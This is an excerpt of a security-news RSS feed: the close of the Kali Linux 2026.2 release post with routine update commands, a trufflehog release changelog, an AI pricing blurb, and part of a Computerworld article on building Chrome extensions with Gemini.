<li><a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-xiaomi-mi-a3/">Installing NetHunter on the Xiaomi Mi A3</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/nethunter/">Kali NetHunter</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/general-use/kali-apt-sources/">Kali Network Repositories (/etc/apt/sources.list)</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/introduction/default-credentials/">Kali’s Default Credentials</a> <em>(updated)</em></li>
<li><a href="https://www.kali.org/docs/community/submitting-issues-kali-bug-tracker/">Submitting Bugs for Kali Linux</a> <em>(updated)</em></li>
</ul>
<p>We also want to say a little thank you to the following for their work on the sites:</p>
<ul>
<li><a href="https://gitlab.com/chrisjr404">@Chris Southerland Jr</a></li>
<li><a href="https://gitlab.com/mr00k3">@mr00k3</a></li>
<li><a href="https://gitlab.com/Simeon53424">@Simeon_YT</a></li>
<li><a href="https://gitlab.com/V0lk3n">@V0lk3n</a></li>
</ul>
<p>Anyone can help out, anyone can get <a href="https://www.kali.org/docs/community/contribute/">involved</a>!</p>
<h3>New Kali Mirrors</h3>
<p>We welcomed <strong>1 new mirror</strong> during this release cycle, but that’s a significant one: <strong>our first mirror in Africa!</strong> Hoping that many others will follow ;)</p>
<p>The mirror is located in <strong>South Africa</strong>, online at <a href="https://mirror.africloud.com/kali/">mirror.africloud.com</a>. It is sponsored by <a href="https://africloud.com/">AFRICLOUD</a>, and was setup thanks to Oluniyi Ajao.</p>
<p>If you have the disk space and bandwidth, <a href="https://www.kali.org/docs/community/setting-up-a-kali-linux-mirror/">we always welcome new mirrors</a>.</p>
<hr>
<h2>Get Kali Linux 2026.2</h2>
<p><strong>Fresh Images</strong></p>
<p>So what’s stopping you? Go and <a href="https://www.kali.org/get-kali/">get Kali</a> already!</p>
<p>If you cannot wait for the next release, we also produce <strong><a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds</a></strong> which include the latest packages at the time of download, meaning fewer updates needed on first boot. These are automated builds rather than QA’d releases like our standard <a href="https://www.kali.org/releases/">release images</a>, but we still welcome <a href="https://bugs.kali.org/">bug reports</a> on them. The earlier we catch issues, the sooner they get fixed.</p>
<p><strong>Existing Installs</strong></p>
<p>Using Kali already? Great! You can <a href="https://www.kali.org/docs/general-use/updating-kali/">keep it up-to-date</a> by doing:</p>
<pre><code class="language-console">┌──(kali㉿kali)-[~]
└─$ sudo tee /etc/apt/sources.list.d/kali.sources &lt;&lt; 'EOF'
Types: deb
URIs: http://http.kali.org/kali/
Suites: kali-rolling
Components: main contrib non-free non-free-firmware
Signed-By: /usr/share/keyrings/kali-archive-keyring.gpg
EOF
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;&amp; sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ sudo reboot -f
</code></pre>
<p><em>Remember, we recommend doing <a href="https://www.kali.org/blog/kali-linux-2026-2-release/#disruptive-package-updates">a reboot for this release</a>!</em></p>
<p>You should now be on Kali Linux 2026.2. We can double check this by doing:</p>
<pre><code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2026.2"
VERSION_ID="2026.2"
VERSION_CODENAME="kali-rolling"
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Kali 6.19.14-1+kali1 (2026-05-05)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.19.14+kali-amd64
</code></pre>
<p><em>NOTE: The output of <code>uname -r</code> may be different depending on the system <a href="https://pkg.kali.org/pkg/linux">architecture</a>.</em></p>
<hr>
<p>As always, if you run into anything broken, please <a href="https://bugs.kali.org/">report it</a>. <em>We will never be able to fix what we do not know is broken!</em> <strong>And Social networks are not bug trackers!</strong></p>
<hr>
<p>Want to keep up-to-date easier? We’ve got you!</p>
<ul>
<li><a href="https://www.kali.org/blog/">Blog</a>? Use our <a href="https://www.kali.org/rss.xml">RSS feed</a> and <a href="https://www.kali.org/newsletter/">newsletter</a></li>
<li><a href="https://www.kali.org/get-kali/">Download</a>? We have a <a href="https://www.kali.org/torrents.xml">Torrent RSS feed</a></li>
<li><a href="https://www.kali.org/docs/community/list-of-official-kali-sites/#social-media-networks">Socials</a>? <a href="https://bsky.app/profile/kalilinux.bsky.social">Bluesky</a>, <a href="https://www.facebook.com/KaliLinux/">Facebook</a>, <a href="https://www.instagram.com/kalilinux/">Instagram</a>, <a href="https://infosec.exchange/@kalilinux">Mastodon</a> &amp; <a href="https://x.com/kalilinux">X</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v3.95.7]]></title>
<description><![CDATA[What's Changed

fix(sources/filesystem): order resume comparison by path component by @genisis0x in #5041
test(handlers): point APK test fixture at trufflehog-test-assets by @amanfcp in #5053
fixed regex typo that was causing conf uuid's to be surfaced as non-live atlassian secrets. by @jordanTun...]]></description>
<link>https://tsecurity.de/de/3633443/it-security-tools/v3957/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3633443/it-security-tools/v3957/</guid>
<pubDate>Mon, 29 Jun 2026 18:04:24 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>fix(sources/filesystem): order resume comparison by path component by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/genisis0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/genisis0x">@genisis0x</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4672155125" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5041" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5041/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5041">#5041</a></li>
<li>test(handlers): point APK test fixture at trufflehog-test-assets by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanfcp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanfcp">@amanfcp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692945335" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5053" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5053/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5053">#5053</a></li>
<li>fixed regex typo that was causing conf uuid's to be surfaced as non-live atlassian secrets. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jordanTunstill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jordanTunstill">@jordanTunstill</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4634203228" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5029" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5029/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5029">#5029</a></li>
<li>Fix GitHub App cross-org member enumeration using per-installation tokens by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dustin-decker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dustin-decker">@dustin-decker</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3999036169" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4774" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4774/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4774">#4774</a></li>
<li>fix: add git worktree support in PrepareRepo by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andoniaf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andoniaf">@andoniaf</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3846994423" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4690" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4690/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4690">#4690</a></li>
<li>[INS-406] Braintrust detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4102936269" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4826" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4826/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4826">#4826</a></li>
<li>huggingface: add bucket scanning by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/julien-c/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/julien-c">@julien-c</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4590233106" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5017" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5017/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5017">#5017</a></li>
<li>Skip reverification results during deduplication by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcastorina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcastorina">@mcastorina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4731401575" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5069" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5069/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5069">#5069</a></li>
<li>chore(renovate): bump shared config to v1.0.3 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bryanbeverly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bryanbeverly">@bryanbeverly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4677094887" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5044" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5044/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5044">#5044</a></li>
<li>Add scan_all_installations option for multi-org GitHub App scanning by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dustin-decker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dustin-decker">@dustin-decker</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3999082633" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4775" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4775/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4775">#4775</a></li>
<li>Expose <code>SecretParts</code> in the JSON output by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bradlarsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bradlarsen">@bradlarsen</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736781866" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5073" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5073/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5073">#5073</a></li>
<li>[INS-497] Add Pganalyze Read Key Detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4548652797" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4993" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4993/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4993">#4993</a></li>
<li>[INS-197] Add redhatpyxis api key detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4548861283" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4995" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4995/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4995">#4995</a></li>
<li>[INS-407] Fixed AWS detector producing non deterministic output by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4135380101" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4836" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4836/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4836">#4836</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/genisis0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/genisis0x">@genisis0x</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4672155125" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5041" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5041/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5041">#5041</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andoniaf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andoniaf">@andoniaf</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3846994423" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4690" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4690/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4690">#4690</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/julien-c/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/julien-c">@julien-c</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4590233106" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5017" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5017/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5017">#5017</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/trufflesecurity/trufflehog/compare/v3.95.6...v3.95.7"><tt>v3.95.6...v3.95.7</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Pricing Cheat Sheet: Compare ChatGPT, Claude, Gemini, and More]]></title>
<description><![CDATA[Compare 2026 AI pricing for 17 major chat, image, video, and voice platforms, from free tiers to $200-plus power user and enterprise plans.]]></description>
<link>https://tsecurity.de/de/3633437/it-nachrichten/ai-pricing-cheat-sheet-compare-chatgpt-claude-gemini-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3633437/it-nachrichten/ai-pricing-cheat-sheet-compare-chatgpt-claude-gemini-and-more/</guid>
<pubDate>Mon, 29 Jun 2026 18:03:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Compare 2026 AI pricing for 17 major chat, image, video, and voice platforms, from free tiers to $200-plus power user and enterprise plans.]]></content:encoded>
</item>
<item>
<title><![CDATA[Oh, behave! How Gemini can reshape the web for the way you work]]></title>
<description><![CDATA[Reading about the “revolutionary” nature of generative AI technology these days, it’s hard not to feel a little left out.



Sure, services like Google’s Gemini and its contemporaries can be useful in certain limited, specific areas for productivity purposes. But working with them can also be pre...]]></description>
<link>https://tsecurity.de/de/3632771/it-nachrichten/oh-behave-how-gemini-can-reshape-the-web-for-the-way-you-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632771/it-nachrichten/oh-behave-how-gemini-can-reshape-the-web-for-the-way-you-work/</guid>
<pubDate>Mon, 29 Jun 2026 13:47:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Reading about the “revolutionary” nature of generative AI technology these days, it’s hard not to feel a little left out.</p>



<p>Sure, services like Google’s Gemini and its contemporaries <a href="https://www.computerworld.com/article/4007736/gemini-android.html">can be useful</a> in <a href="https://www.computerworld.com/article/3845447/google-workspace-how-to-use-gemini-ai-side-panel.html">certain limited, specific areas</a> for productivity purposes. But working with them can also be pretty disheartening and overwhelming — from <a href="https://www.computerworld.com/article/4047909/burned-out-by-bots-prompt-fatigue-in-workplace.html">prompt fatigue</a> and an onslaught of <a href="https://www.cio.com/article/4077448/ai-workslop-the-new-productivity-killer-only-training-can-stop.html" target="_blank">AI workslop</a> to the fear of <a href="https://www.computerworld.com/article/4175956/the-ai-tech-job-slaughter-gets-real.html">lost jobs</a> and even just the simple <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">inconsistencies and inaccuracies</a> these systems are <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html">so prone to providing</a>. (And that’s to say nothing of <a href="https://www.computerworld.com/article/4182583/ai-creepy-era.html">the ever-increasing creepy factor</a> that often accompanies this type of technology.)</p>



<p>More and more, it seems the most significant impact of these systems is in <a href="https://www.computerworld.com/article/4022711/when-everything-is-vibing.html">areas like coding</a>, where AI is allowing ambitious tech-heads to <a href="https://www.fastcompany.com/91528164/claude-code-vibe-code-word-processor" target="_blank" rel="noreferrer noopener">create their own custom programs</a> with limited to no programming knowledge (but <a href="https://www.fastcompany.com/91345791/vibecoding-replit-debugging-claude" target="_blank" rel="noreferrer noopener">a <em>lot</em> of time, vision, and patience</a>) — as well as allowing accomplished coders to produce products more quickly by letting AI do the dirty work and then spending <em>their</em> time <a href="https://www.computerworld.com/article/4066260/why-we-need-human-developers.html">guiding, tweaking, and correcting its output</a>.</p>



<p>That’s all well and good, but the reality is that most of us mere mortals are never gonna mess with anything that daunting. That doesn’t, however, mean we can’t enjoy a slice of the custom-coding pie and the productivity advantages it offers — on a much simpler but still supremely useful level.</p>



<p>The average-worker answer lies in an oft-overlooked middle-ground possibility these AI chatbots possess to help us create relatively basic but extremely high-potential custom browser extensions. As their name suggests, these simple little programs run entirely in your browser — the same exact sorts of add-ons you’d typically find and install in a marketplace like <a href="https://chromewebstore.google.com/" target="_blank" rel="noreferrer noopener">Google’s Chrome Web Store</a>.</p>



<p>But with Gemini or any other similar genAI platform, you can dream up your <em>own </em>web-improving extension and turn it into reality in a matter of minutes — simply by describing your goal and then guiding the AI gently along the way. And given how much time most of us spend on the web these days, that opens up a tantalizing series of doors for taking total control of your work environment.</p>



<p>Hate all the extraneous bells and whistles gunking up the Google Docs interface? Gemini can create a Chrome extension that removes them. Annoyed by a glitchy web app? Ask Gemini for an extension that makes some under-the-hood improvements. The possibilities are endless.</p>



<p>Let me show you how exactly it works, how easy it is to approach and master, and how many work-enhancing possibilities are out there just waiting to be created.</p>



<h2 class="wp-block-heading"><a></a>The ins and outs of Gemini’s custom Chrome extensions</h2>



<p>First things first: You don’t need any special tools or subscriptions to make this happen. For the purposes of this article, we’ll focus on Google’s Gemini for the creation and the standard desktop Chrome browser for the installation — but the same basic process would work with most any AI chatbot, if you happen to prefer ChatGPT or Claude, as well as with any extension-supporting, <a href="https://www.computerworld.com/article/1717405/googles-chromium-browser-explained.html">Chromium-compatible browser</a> (a list that includes everything from Microsoft Edge to Brave, <a href="https://www.computerworld.com/article/4148888/8-advanced-ways-vivaldi-boosts-your-productivity.html">Vivaldi</a>, and beyond).</p>



<p>Google offers a dizzying array of <a href="https://blog.google/products-and-platforms/products/google-one/google-ai-subscriptions/" target="_blank" rel="noreferrer noopener">Gemini modes and options</a> and an equally overwhelming series of <a href="https://gemini.google/subscriptions/" target="_blank" rel="noreferrer noopener">AI subscription plans</a> that control how much you can use those capabilities, but you don’t need to worry about any of that to create custom Chrome extensions. You might sometimes see better results if you switch your Gemini model to “Pro” or your Gemini <em>thinking level</em> to “Extended” — designations that even Gemini itself has trouble deciphering (believe me, I asked!) — but just using the default Gemini settings with a free Google account will generally work quite well.</p>



<p>Getting going with a custom Chrome extension is as simple as <a href="https://gemini.google.com/" target="_blank" rel="noreferrer noopener">opening up a new Gemini chat</a> and telling the system what you want it to cook up for you. The hardest part is deciding what you want and what’d be helpful for you — something we’ll explore more in a moment, via specific examples and suggestions. Once you’ve got that, you can just ask Gemini to create a Chrome extension that’ll accomplish what you’re envisioning, with as much specificity as possible about what it’ll do and how it’ll look.</p>



<p>Gemini will spit back a series of plain-text code chunks with instructions to copy each cluster and paste it into a new plain text file with a certain specific name — things like “manifest.json,” “content.js,” and “styles.css.” All you’ll do is use the on-screen button to copy each segment, then open up any simple text editor (like Windows Notepad, macOS TextEdit, or any number of <a href="https://browserpad.org/" target="_blank" rel="noreferrer noopener">simple online text editors</a>) and paste the text in, then save it under the name Gemini gives you.</p>



<p>You’ll need to put all the files into a single isolated folder on your computer, and then you can go into Chrome, type <strong>chrome:extensions </strong>into its address bar, and install your shiny new creation by:</p>



<ul class="wp-block-list">
<li>Flipping the toggle next to “Developer mode” in the upper-right corner of the screen into the on and active position, if it isn’t already</li>



<li>Clicking the “Load unpacked” button</li>



<li>And selecting the folder you just created in the pop-up that appears</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/gemini-custom-chrome-extensions-01-chrome-extension-controls.jpg?quality=50&amp;strip=all&amp;w=1024" alt="chrome extension controls including developer mode toggle and load unpacked button" class="wp-image-4185233" width="1024" height="114" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Chrome’s “Developer Mode” toggle and “Load unpacked” button are the keys to importing any extension you create.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>And that’s pretty much it: No complicated compiling or program publishing — the extension you envisioned will be alive and working right in your browser and ready to use.</p>



<p>Now, odds are, it won’t be <em>exactly</em> what you wanted in its first iteration, and you’ll have to go back to Gemini to request several rounds of updates and corrections. Each time, Gemini will create a new set of code chunks, and you simply overwrite the text in each file with its corresponding new code chunk.</p>



<p>It’s still a bit of a process. But you’ll rarely spend more than an hour on something simple and maybe a few hours on something especially multifaceted and specific, and whatever you create will then work to your advantage indefinitely from that point onward, on any computer where you install it.</p>



<p>Before we dive into specific slivers of inspiration, let’s just note the hopefully obvious asterisk that this’ll work only if you’re <em>either </em>(a) using a personal computer that isn’t associated with an organization or (b) using a work-connected computer where custom Chrome extensions are permitted. In either scenario, you’ll want to use your own best judgment to ensure that whatever you’re adding into your browser won’t expose any corporate data or cause your IT comrades any alarm if they see you using it in your workday.</p>



<p>With most common examples, though — including all the ones we’re about to go over — you shouldn’t have any problem or cause for concern.</p>



<p>Capisce? Capisce. Let’s get into it.</p>



<h2 class="wp-block-heading"><a></a>Custom extension category #1: The interface fixer</h2>



<p>Our first custom Chrome extension category is the one that won me over to this practice initially and has been the most shapeshifting for my own browser-based workflow — and that’s the simple-seeming but transformational ability to have AI remake any web app you rely on to remove unneeded elements and redesign the interface to <em>your</em> exact specifications.</p>



<p>The best example I can show you is what I did with my completely homemade, Gemini-created Docs Zen extension. Google Docs, to put it mildly, has devolved into <a href="https://www.computerworld.com/article/1723650/google-docs-cheat-sheet-how-to-get-started.html#work">a cluttered mess</a>. There are so many on-screen elements I never use and, ironically enough, irrelevant AI elements I’d rather not have in my hair. I just want a calm, simple, minimalist environment for writing — with Google’s second-to-none syncing, universal access, and collaboration systems beneath it.</p>



<p>So rather than try to reinvent the wheel, I described to Gemini all the elements I wanted to remove from Docs and all the ways I wanted to rethink how its interface appeared for me.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/gemini-custom-chrome-extensions-02-initial-prompt.jpg?quality=50&amp;strip=all" alt="prompt asking gemini to make a chrome extension called docs fixer that minimizes and simplifies the google docs interface" class="wp-image-4185238" width="1007" height="621" sizes="auto, (max-width: 1007px) 100vw, 1007px"><figcaption class="wp-element-caption"><p>My original request to Gemini, followed by rounds of expansions and revisions (and eventually also a more poetic name).</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>I went back and forth with numerous iterations and kept coming up with interesting new additions to further flesh out and improve the experience — and I ended up with a delightful setup that gives me a distraction-free view of my writing space with a simple toggle to reveal the main Docs menus and a palette icon that allows me to switch from one eye-pleasing theme to another.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> width="620" height="161" sizes="auto, (max-width: 620px) 100vw, 620px"&gt;<figcaption class="wp-element-caption"><p>Google Docs with my custom Docs Zen extension — a true delight for daily writing.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>My setup deliberately doesn’t include comments or other collaborative elements, as I’m mostly writing by myself these days — but when I do need those elements, the eye icon in the upper-right corner of the screen disables my custom adjustments and takes me back to the standard Docs interface. I can then click the eye icon again in <em>that</em> environment to switch back.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/gemini-custom-chrome-extensions-google-docs-toggle-620.gif" alt="animated screenshot of toggling between simplified and full google docs interface" class="wp-image-4185725" width="620" height="117" sizes="auto, (max-width: 620px) 100vw, 620px"><figcaption class="wp-element-caption"><p>My custom extension includes a simple on-off toggle for times when I need the full Docs setup.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>I used Gemini to create something similar for <a href="https://www.computerworld.com/article/1712947/what-is-trello-a-guide-to-atlassians-collaboration-and-work-management-tool.html">Trello</a>, with which I also have a love-hate relationship — loving the foundational functions and easy access everywhere but hating the interface that’s <a href="https://www.computerworld.com/article/3832819/atlassian-refocuses-trello-on-individual-task-management.html">lost focus</a>, gained bloat, and gotten noticeably clunky and slow over time.</p>



<p>With the same sort of step-by-step, plain-English guidance, I was able to transform Trello from this…</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/gemini-custom-chrome-extensions-05-trello-before.jpg?quality=50&amp;strip=all" alt="screenshot of busy default trello interface" class="wp-image-4185239" width="999" height="639" sizes="auto, (max-width: 999px) 100vw, 999px"><figcaption class="wp-element-caption"><p>Trello, in its typical current-day state.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>…into <em>this</em>:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/gemini-custom-chrome-extensions-06-trello-after.jpg?quality=50&amp;strip=all" alt="screenshot of trello interface simplified by custom chrome extension written by gemini" class="wp-image-4185234" width="997" height="641" sizes="auto, (max-width: 997px) 100vw, 997px"><figcaption class="wp-element-caption"><p>Trello, with my custom modifications in place.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>I couldn’t even begin to recount the number of superfluous features and elements I’ve removed, along with revamping the overall interface to make it both more efficient and more visually pleasing to my eye.</p>



<p>Whether it’s a web app you rely on regularly or even just a website you open often, the possibilities are practically endless for the ways you can reshape it and mold it to make it work better <em>for you</em>.</p>



<p>Speaking of which…</p>



<h2 class="wp-block-heading"><a></a>Custom extension category #2: The feature creator</h2>



<p>In addition to the surface-level adjustments and feature removals in my aforementioned Trello-enhancing extension, I also <em>added in </em>several components — such as one-click buttons for archiving or moving cards — and I managed to speed up the site by making some under-the-hood adjustments Gemini suggested when I asked about its choppy performance. The same sort of concept can apply to any web-based interface you’re using, if there are any options that are annoyingly buried within menus, shortcuts that’d make your life easier, or other improvements you’ve longed to see.</p>



<p>You can also consider some simple standalone extensions for giving yourself on-demand features that aren’t necessarily associated with any one specific website but could be useful in plenty of productivity scenarios. For instance:</p>



<ul class="wp-block-list">
